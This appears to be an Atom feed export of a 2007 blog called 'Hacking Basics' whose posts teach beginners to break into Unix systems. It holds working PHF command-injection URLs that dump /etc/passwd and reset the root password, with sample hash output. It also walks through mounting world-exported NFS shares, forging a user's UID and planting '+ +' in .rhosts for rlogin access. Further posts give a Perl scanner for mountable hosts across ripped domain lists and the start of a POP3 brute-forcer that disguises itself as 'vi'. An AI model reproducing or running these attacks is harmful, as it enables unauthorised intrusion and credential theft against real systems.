<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss'><id>tag:blogger.com,1999:blog-3071953721373396848</id><updated>2009-09-25T03:27:59.733+05:30</updated><title type='text'>Hacking Basics</title><subtitle type='html'>It's for all those who are interested in learning. Beginners please start reading from the first post and remember that posts are in backword order.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>19</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-7568371556519192891</id><published>2007-02-06T04:49:00.000+05:30</published><updated>2007-02-06T04:51:50.526+05:30</updated><title type='text'>Rest of the post of this series</title><content type='html'>You can get rest of the post of this series from here: &lt;a href="http://blogs.ibibo.com/hacking"&gt;http://blogs.ibibo.com/hacking &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I was just trying this new blogging service. And I'm too lazy to copy all the stuff from there to here. So, refer to the link given for missing posts.&lt;br /&gt;&lt;br /&gt;I'll continue writing here now.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-7568371556519192891?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/7568371556519192891/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=7568371556519192891' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/7568371556519192891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/7568371556519192891'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/02/rest-of-post-of-this-series.html' title='Rest of the post of this series'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-476772959555907365</id><published>2007-01-12T04:43:00.000+05:30</published><updated>2007-02-06T04:43:58.643+05:30</updated><title type='text'>PHF WWW PH Query</title><content type='html'>There is a program in the WWW cgi-bin directory called phf, if the file&lt;br /&gt;is there, and has permission x, you can access it by using the www, or&lt;br /&gt;a text version browser in linux called lynx.  Now you can read files on the&lt;br /&gt;system (yup .. /etc/passwd) and save them to files local in your computer.&lt;br /&gt;&lt;br /&gt;There are many things we can get done here.  If the server is running their&lt;br /&gt;httpd server as root owner, we can be root by using phf and even change an&lt;br /&gt;account password on the machine.&lt;br /&gt;&lt;br /&gt;I will include a perl script here that will auto check all of the systems out&lt;br /&gt;there by using the getdomain.pl script above and check what the server is&lt;br /&gt;running under.  If it is running under root, it will just log the id, if the&lt;br /&gt;server is not running under root, it will auto get the passwd file from the&lt;br /&gt;/etc directory and name it domainname.???.passwd.&lt;br /&gt;&lt;br /&gt;I will also attach a script that will allow you to use a simple command from&lt;br /&gt;a shell and if phf is on the system allow you to pipe commands from the shell&lt;br /&gt;to the remote system with one command line.&lt;br /&gt;&lt;br /&gt;Ok now that you know what is coming, lets teach you how to use phf.&lt;br /&gt;&lt;br /&gt;Use your favorite web browser, or the text version in unix called most of&lt;br /&gt;the time lynx, on some systems www.&lt;br /&gt;&lt;br /&gt;After the screen comes up type the letter g, now a line appears like below:&lt;br /&gt;&lt;br /&gt;URL to open:&lt;br /&gt;  Arrow keys: Up and Down to move. Right to follow a link; Left to go back.&lt;br /&gt;  H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list&lt;br /&gt;&lt;br /&gt;You type:&lt;br /&gt;&lt;br /&gt;URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid&lt;br /&gt;  Arrow keys: Up and Down to move. Right to follow a link; Left to go back.&lt;br /&gt;  H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list&lt;br /&gt;&lt;br /&gt;It returns:&lt;br /&gt;&lt;br /&gt;                                 QUERY RESULTS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   /usr/local/bin/ph -m alias=x id&lt;br /&gt;&lt;br /&gt;uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So here we see it is running under a user (nobody), so we can be a user named&lt;br /&gt;nobody on this system.  We are not root, but this will have to do ;)&lt;br /&gt;&lt;br /&gt;Notice the command line:&lt;br /&gt;&lt;br /&gt;http://afp.org/cgi-bin/phf/?Qalias=x%0aid&lt;br /&gt;&lt;br /&gt;The id was the command to the server to give us the id of the user.  Some times&lt;br /&gt;you will have to give the full path to the file you want to run, in this case&lt;br /&gt;it would have been: http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id&lt;br /&gt;&lt;br /&gt;Notice that after the %0a you start your command line.  If you need to enter&lt;br /&gt;a space you would put a %20 instead of the space.  Here would be some sample&lt;br /&gt;command lines. I will start them with %0a&lt;br /&gt;&lt;br /&gt;Cat the passwd file&lt;br /&gt;%0a/bin/cat%20/etc/passwd&lt;br /&gt;&lt;br /&gt;Get a long directory of the /etc directory of all files starting with pass&lt;br /&gt;%0als%20-al%20/etc/pass*&lt;br /&gt;&lt;br /&gt;backup the passwd file if you have root access to httpd to passwd.my&lt;br /&gt;%0acp%20/etc/passwd%20/etc/passwd.my&lt;br /&gt;&lt;br /&gt;Change the root passwd (if the server will let you (most times it works)&lt;br /&gt;%0apasswd%20root&lt;br /&gt;&lt;br /&gt;(the above should let you login without a password, make sure to copy the&lt;br /&gt;passwd.my file over the passwd file right away, and then delete the backup,&lt;br /&gt;then make yourself an suid bash shell somewhere and rename it, sniff to get&lt;br /&gt;your passwords)&lt;br /&gt;&lt;br /&gt;If you know how to type commands in unix and don't forget that you need to&lt;br /&gt;use %20 in the place of spaces, you will not have any problems!&lt;br /&gt;&lt;br /&gt;Ok lets cat the passwd file on this box ;)&lt;br /&gt;&lt;br /&gt;URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd&lt;br /&gt;&lt;br /&gt;We get:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                 QUERY RESULTS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   /usr/local/bin/ph -m alias=x cat /etc/passwd&lt;br /&gt;&lt;br /&gt;root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash&lt;br /&gt;bin:*:1:1:bin:/bin:&lt;br /&gt;daemon:*:2:2:daemon:/sbin:&lt;br /&gt;adm:*:3:4:adm:/var/adm:&lt;br /&gt;lp:*:4:7:lp:/var/spool/lpd:&lt;br /&gt;sync:*:5:0:sync:/sbin:/bin/sync&lt;br /&gt;shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;halt:*:7:0:halt:/sbin:/sbin/halt&lt;br /&gt;mail:*:8:12:mail:/var/spool/mail:&lt;br /&gt;news:*:9:13:news:/usr/lib/news:&lt;br /&gt;uucp:*:10:14:uucp:/var/spool/uucppublic:&lt;br /&gt;operator:*:11:0:operator:/root:/bin/bash&lt;br /&gt;games:*:12:100:games:/usr/games:&lt;br /&gt;man:*:13:15:man:/usr/man:&lt;br /&gt;postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash&lt;br /&gt;nobody:*:-2:100:nobody:/dev/null:&lt;br /&gt;ftp:*:404:1::/home/ftp:/bin/bash&lt;br /&gt;guest:*:405:100:guest:/dev/null:/dev/null&lt;br /&gt;bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash&lt;br /&gt;web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash&lt;br /&gt;mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash&lt;br /&gt;&lt;br /&gt;A small passwd file &lt;g&gt;rin&lt;br /&gt;&lt;br /&gt;If you want to save this to a file in your local directory, just choose the&lt;br /&gt;print option in the text browser and you will get an option to save the file&lt;br /&gt;in your home directory.&lt;br /&gt;&lt;br /&gt;Lets learn something here:&lt;br /&gt;&lt;br /&gt;mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash&lt;br /&gt;1   :2            :3  :4  :5             :6         :7&lt;br /&gt;&lt;br /&gt;1=username 2=encrypted password 3=user number 4=groop id 5=real name&lt;br /&gt;6=home directory 7=shell&lt;br /&gt;&lt;br /&gt;Ok, lets say you do not want to keep using the WWW browser, here is a script&lt;br /&gt;you can compile to just type regular commands from your shell. (in next post)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-476772959555907365?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/476772959555907365/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=476772959555907365' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/476772959555907365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/476772959555907365'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/01/phf-www-ph-query.html' title='PHF WWW PH Query'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-5244680031883798064</id><published>2007-01-10T04:42:00.000+05:30</published><updated>2007-02-06T04:43:18.249+05:30</updated><title type='text'>Whats next...???</title><content type='html'>Next are some ways to get password files from unix systems.  Most of them&lt;br /&gt;you will need an account, but there is still a way to access to the system&lt;br /&gt;without having an account.  Here you will learn the difference between a&lt;br /&gt;regular passwd file and a shadowed passwd file.  You will also learn a way&lt;br /&gt;to read the shadowed password file.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-5244680031883798064?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/5244680031883798064/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=5244680031883798064' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/5244680031883798064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/5244680031883798064'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/01/whats-next.html' title='Whats next...???'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-899777893581680187</id><published>2007-01-10T04:41:00.000+05:30</published><updated>2007-02-06T04:41:41.098+05:30</updated><title type='text'>Mount the drives</title><content type='html'>Ok, now on to mounting the drives ....&lt;br /&gt;&lt;br /&gt;lets say we did a showmount -e domain.com and got back:&lt;br /&gt;&lt;br /&gt;Export list for domain.com:&lt;br /&gt;/   (everyone)&lt;br /&gt;/p1 (everyone)&lt;br /&gt;/p2 (everyone)&lt;br /&gt;/p3 (everyone)&lt;br /&gt;/p5 (everyone)&lt;br /&gt;/p6 (everyone)&lt;br /&gt;/p7 (everyone)&lt;br /&gt;/var/spool/mail titan,europa,galifrey&lt;br /&gt;/tmp            (everyone)&lt;br /&gt;&lt;br /&gt;We would want to mount /  .. yup .... this guy has his entire system mountable!&lt;br /&gt;&lt;br /&gt;$root&gt; mkdir /tmp/mount&lt;br /&gt;$root&gt; mount -nt nfs domain.com:/ /tmp/mount&lt;br /&gt;&lt;br /&gt;If he had the home directory mountable the command would be:&lt;br /&gt;&lt;br /&gt;$root&gt; mount -nt nfs domain.com:/home /tmp/mount&lt;br /&gt;&lt;br /&gt;To unmount the system, make sure you are out of the directory and type:&lt;br /&gt;$root&gt; umount /tmp/mount&lt;br /&gt;&lt;br /&gt;Make sure you make the mount directory first, you can make this anywhere on the&lt;br /&gt;system that you want.  If the systems /mnt directory is empty you can use it&lt;br /&gt;also.&lt;br /&gt;&lt;br /&gt;Ok this is for real:&lt;br /&gt;&lt;br /&gt;bash# ls -al /mnt  ; making sure the mnt dir is empty&lt;br /&gt;ls: /mnt: No such file or directory ; there was not even a dir there ;)&lt;br /&gt;bash# mkdir /mnt ; lets make one for them &lt;g&gt;rin&lt;br /&gt;bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ; let's mount the sucker ...&lt;br /&gt;bash# cd /mnt ; changing to the mounted drive...&lt;br /&gt;bash# ls ; just the plain dir ..&lt;br /&gt;TT_DB             home              raddb             share&lt;br /&gt;back              local             radius-961029.gz  www&lt;br /&gt;exec              lost+found        radius-961029.ps&lt;br /&gt;bash# ; there is is up there, the home dir ... oh good ...&lt;br /&gt;bash# cd home&lt;br /&gt;bash# ls -l  ; long directory listing ... tom is looking good here ;)&lt;br /&gt;total 18&lt;br /&gt;drwxr-xr-x   2 judy     other         512 Feb  1 10:41 garry&lt;br /&gt;drwxr-xr-x  69 infobahn other        5632 Mar 10 01:42 horke&lt;br /&gt;drwxr-xr-x  11 301      other        2048 Mar  1 10:25 jens&lt;br /&gt;drwxr-xr-x   2 300      other         512 Oct 15 07:45 joerg&lt;br /&gt;drwxr-xr-x   2 604      other         512 Feb  8 13:00 mailadmin&lt;br /&gt;drwxr-xr-x   2 melissa  other         512 Sep 27 06:15 mk&lt;br /&gt;drwxr-xr-x   6 news     news          512 Mar  6  1996 news&lt;br /&gt;drwxr-xr-x   2 303      other         512 Jan 24 04:17 norbert&lt;br /&gt;drwxr-xr-x   4 jim      other         512 Sep 27 06:16 pauk&lt;br /&gt;drwxr-xr-x   2 302      other         512 Mar  1 10:10 tom&lt;br /&gt;drwxr-xr-x   5 601      daemon        512 Jan 26  1996 viewx&lt;br /&gt;drwxr-xr-x  10 15       audio         512 Oct 17 08:03 www&lt;br /&gt;bash# ; notice tom is user number 302 ... hmmm lets put him in our passwd file&lt;br /&gt;bash# pico /etc/passwd&lt;br /&gt;tom:x:302:2::/home:/bin/bash ; this should do it ;)&lt;br /&gt;bash# su - tom ; su to the tom account ...&lt;br /&gt;bash$ ls -l&lt;br /&gt;total 18&lt;br /&gt;drwxr-xr-x   2 judy     other         512 Feb  1 10:41 garry&lt;br /&gt;drwxr-xr-x  69 infobahn other        5632 Mar 10 01:42 horke&lt;br /&gt;drwxr-xr-x  11 301      other        2048 Mar  1 10:25 jens&lt;br /&gt;drwxr-xr-x   2 300      other         512 Oct 15 07:45 joerg&lt;br /&gt;drwxr-xr-x   2 604      other         512 Feb  8 13:00 mailadmin&lt;br /&gt;drwxr-xr-x   2 melissa  other         512 Sep 27 06:15 mk&lt;br /&gt;drwxr-xr-x   6 news     news          512 Mar  6  1996 news&lt;br /&gt;drwxr-xr-x   2 303      other         512 Jan 24 04:17 norbert&lt;br /&gt;drwxr-xr-x   4 jim      other         512 Sep 27 06:16 pauk&lt;br /&gt;drwxr-xr-x   2 tom      other         512 Mar  1 10:10 tom&lt;br /&gt;drwxr-xr-x   5 601      daemon        512 Jan 26  1996 view&lt;br /&gt;drwxr-xr-x  10 15       audio         512 Oct 17 08:03 www&lt;br /&gt;bash$ ; NOTICE above that toms user number is gone ... we now own his dir!&lt;br /&gt;bash$ echo + +&gt;&gt;tom/.rhosts  ; this will make a file in his dir called .rhosts&lt;br /&gt;bash$ ;inside .rhosts will be wild cards + +  for anyone to rlogin to his account&lt;br /&gt;bash$ rlogin xxxxx.xxx  we are tom on our machine, so lets just rlogin plain.&lt;br /&gt;Last login: Fri Mar  7 00:16:03 from xxxxx.xxxxxxxxxx&lt;br /&gt;Sun Microsystems Inc.   SunOS 5.5       Generic November 1995&lt;br /&gt;&gt;  ; yup we are in!&lt;br /&gt;&gt; ls -al&lt;br /&gt;total 8&lt;br /&gt;drwxr-xr-x   2 tom      group        512 Mar  1 17:10 .&lt;br /&gt;drwxr-xr-x  14 tom      group        512 Jan 24 11:16 ..&lt;br /&gt;-rw-r--r--   1 tom      group        144 Dec 30 15:32 .proofile&lt;br /&gt;-rw-r--r--   1 tom      bin            8 Mar 11 08:26 .rhoosts&lt;br /&gt;&gt;&lt;br /&gt;&lt;br /&gt;So now we have access, so lets just hack this system ... oops, that is another&lt;br /&gt;lesson!  Have pun!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-899777893581680187?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/899777893581680187/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=899777893581680187' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/899777893581680187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/899777893581680187'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/01/mount-drives.html' title='Mount the drives'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-1935347289138388750</id><published>2007-01-09T04:40:00.000+05:30</published><updated>2007-02-06T04:41:06.658+05:30</updated><title type='text'>cmount.pl</title><content type='html'>To use this script simply use the domain ripper in the PHF section and download&lt;br /&gt;the needed files from rs.internic.net rip some domains and name the file&lt;br /&gt;'domains' and startup the script.  To make it run in the background put a&lt;br /&gt;&amp; after the command.  like this: cmount.pl&amp;&lt;br /&gt;&lt;br /&gt;How it works:&lt;br /&gt;&lt;br /&gt;When you run the file it will go to the domains list and run showmount -e&lt;br /&gt;on each domain, if it finds that there is a return on mountable drives&lt;br /&gt;it will save the info in the current directory in files named:&lt;br /&gt;domain.XXX.export.  All you have to do is view the files and mount the drives!&lt;br /&gt;&lt;br /&gt;--------------- start of cmount.pl&lt;br /&gt;#!/usr/bin/perl -w&lt;br /&gt;#&lt;br /&gt;# Check NFS exports of hosts listed in file.&lt;br /&gt;# (Hosts are listed, once per line with no additional whitespaces.)&lt;br /&gt;#&lt;br /&gt;# ii@dormroom.pyro.net - 2/27/97.&lt;br /&gt;&lt;br /&gt;# Assign null list to @URLs which will be added to later.&lt;br /&gt;my(@result) = ();&lt;br /&gt;my(@domains) = ();&lt;br /&gt;my($program) = "showmount -e ";&lt;br /&gt;&lt;br /&gt;# Pull off filename from commandline. If it isn't defined, then assign default.&lt;br /&gt;my($DomainFilename) = shift;&lt;br /&gt;$DomainFilename = "domains" if !defined($DomainFilename);&lt;br /&gt;&lt;br /&gt;# Do checking on input.&lt;br /&gt;die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename);&lt;br /&gt;&lt;br /&gt;# Open $DomainFilename.&lt;br /&gt;open(DOMAINFILE, $DomainFilename) or&lt;br /&gt;  die("mountDomains: Cannot open $DomainFilename for input.\n");&lt;br /&gt; &lt;br /&gt;while (&lt;domainfile&gt;) {&lt;br /&gt;  chomp($_);&lt;br /&gt;  print "Now checking: $_";&lt;br /&gt;&lt;br /&gt;  # Note difference in program output capture from "geturl.pl". &lt;br /&gt;  open (EXECFILE, "$program $_ |");&lt;br /&gt;  @execResult = &lt;execfile&gt;;&lt;br /&gt;  next if (!defined($execResult[0]));&lt;br /&gt;  if ($execResult[0] =~ /^Export/) {&lt;br /&gt;    print " - Export list saved.";&lt;br /&gt;    open (OUTFILE, "&gt;$_.export");&lt;br /&gt;    foreach (@execResult) {&lt;br /&gt;      print OUTFILE;&lt;br /&gt;    }&lt;br /&gt;    close (OUTFILE);&lt;br /&gt;  }&lt;br /&gt;  close(EXECFILE);&lt;br /&gt;  print "\n";&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;# We are done. Close all files and end the program.&lt;br /&gt;close (DOMAINFILE);&lt;br /&gt;&lt;br /&gt;0;&lt;br /&gt;----------------- end of cmount.pl&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-1935347289138388750?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/1935347289138388750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=1935347289138388750' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/1935347289138388750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/1935347289138388750'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/01/cmountpl.html' title='cmount.pl'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-973646430462525798</id><published>2007-01-08T04:40:00.000+05:30</published><updated>2007-02-06T04:40:37.735+05:30</updated><title type='text'>using Mount to gain access to unix systems</title><content type='html'>This is not hard to do and there are many systems out there that are mountable.&lt;br /&gt;Mount is a command in unix that will allow you to mount remote machines drives&lt;br /&gt;you yours.  This is done so you can do installs from other machines, or just&lt;br /&gt;share drives or directories across the network.  The problem is that many&lt;br /&gt;admins are good with unix commands or setup.  Or maybe they are just plain&lt;br /&gt;lazy and mount the drives with world access not understanding that the world&lt;br /&gt;can mount the drive and gain write access to their users directories.&lt;br /&gt;&lt;br /&gt;What you will need to get started here is a hacked root account.  To be able to&lt;br /&gt;mount the remote drive and gain access you will need to modify the system's&lt;br /&gt;password file and use the su command.&lt;br /&gt;&lt;br /&gt;Ok let's say we have root access. let's get started!&lt;br /&gt;&lt;br /&gt;You can see if another system has mountable drives by using the showmount&lt;br /&gt;command.&lt;br /&gt;&lt;br /&gt;From root account:&lt;br /&gt;&lt;br /&gt;$root&gt; showmount -e wwa.com&lt;br /&gt;mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive&lt;br /&gt;&lt;br /&gt;Ok, no problem, this domain will not work, go on to the next one...&lt;br /&gt;&lt;br /&gt;$root&gt; showmount -e seva.net&lt;br /&gt;Export list for seva.net:&lt;br /&gt;/var/mail                                        pluto.seva.net&lt;br /&gt;/home/user1                                      pluto.seva.net&lt;br /&gt;/usr/local                                       pluto.seva.net,rover.seva.net&lt;br /&gt;/export/X11R6.3                                  rover.seva.net&lt;br /&gt;/export/rover                                    rover.seva.net,pluto.seva.net&lt;br /&gt;/export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone)&lt;br /&gt;&lt;br /&gt;Notice the (everyone), this would be good if we wanted to install linux&lt;br /&gt;from this guy's box, but we want open directories to users.... so go on to&lt;br /&gt;the next one...&lt;br /&gt;&lt;br /&gt;$root&gt; showmount -e XXXXX.XXX &lt; this one worked ... find your own ;)&lt;br /&gt;Export list for XXXXX.XXX:&lt;br /&gt;/export/home (everyone)&lt;br /&gt;&lt;br /&gt;Now this guy mounted his home directory, the user accounts are off of the home&lt;br /&gt;directory ;) and look above ... (everyone) can access it!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ok, this section was to show you how to see if they are mountable, in the next&lt;br /&gt;section i will show you how to mount and hack it.  But for now, here is a&lt;br /&gt;script that will scan for EVERY DOMAIN on the internet that is mountable and&lt;br /&gt;log them for you. (Next post)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-973646430462525798?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/973646430462525798/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=973646430462525798' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/973646430462525798'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/973646430462525798'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/01/using-mount-to-gain-access-to-unix.html' title='using Mount to gain access to unix systems'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-5156573127108189404</id><published>2007-01-08T04:38:00.000+05:30</published><updated>2007-02-06T04:38:59.630+05:30</updated><title type='text'>pop3hack.c</title><content type='html'>pop3hack.c&lt;br /&gt;----- cut here&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;sys/param.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;#include &lt;netdb.h&gt;&lt;br /&gt;#include &lt;stdarg.h&gt;&lt;br /&gt;&lt;br /&gt;/* First, define the POP-3 port - almost always 110 */&lt;br /&gt;#define POP3_PORT               110&lt;br /&gt;&lt;br /&gt;/* What we want our program to be masked as, so nosy sys admin's don't kill us */&lt;br /&gt;#define MASKAS                  "vi"&lt;br /&gt;&lt;br /&gt;/* Repeat connect or not - remember, logs still report a connection, so&lt;br /&gt;you might want to set this to 0. If set to 0, it will hack until it finds&lt;br /&gt;1 user/password then exit. If set to 1, it will reconnect and try more&lt;br /&gt;user/passwords (until it runs out of usernames) */&lt;br /&gt;#define RECONNECT       0&lt;br /&gt;&lt;br /&gt;----- cut here&lt;br /&gt;&lt;br /&gt;You could also write a small perl script that will finger @ from a domain&lt;br /&gt;list and cat the response to a file, then when done it will go back and try&lt;br /&gt;to login using pop3d username-username (or other info) and putting the&lt;br /&gt;response into another file for you.&lt;br /&gt;&lt;br /&gt;You can ftp to rs.internic.net:&lt;br /&gt;in the domain directory you will find:&lt;br /&gt;&lt;br /&gt;com.zone.gz&lt;br /&gt;edu.zone.gz&lt;br /&gt;gov.zone.gz&lt;br /&gt;mil.zone.gz&lt;br /&gt;net.zone.gz&lt;br /&gt;org.zone.gz&lt;br /&gt;&lt;br /&gt;download these files and run getdomain.pl (In next post) on the domains you&lt;br /&gt;want to target first, in this manor:&lt;br /&gt;&lt;br /&gt;"perl getdomain.pl com.zone com &gt;com.all"&lt;br /&gt;&lt;br /&gt;What this will do is rip all of the .COM domains and put them into a file&lt;br /&gt;called comm.all.&lt;br /&gt;&lt;br /&gt;If you wanted to do all of the .EDU addresses you would type:&lt;br /&gt;&lt;br /&gt;perl getdomain.pl edu.zone edu &gt;edu.all&lt;br /&gt;&lt;br /&gt;Now you will have a list to use with your probe called edu.all&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-5156573127108189404?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/5156573127108189404/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=5156573127108189404' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/5156573127108189404'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/5156573127108189404'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/01/pop3hackc.html' title='pop3hack.c'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total 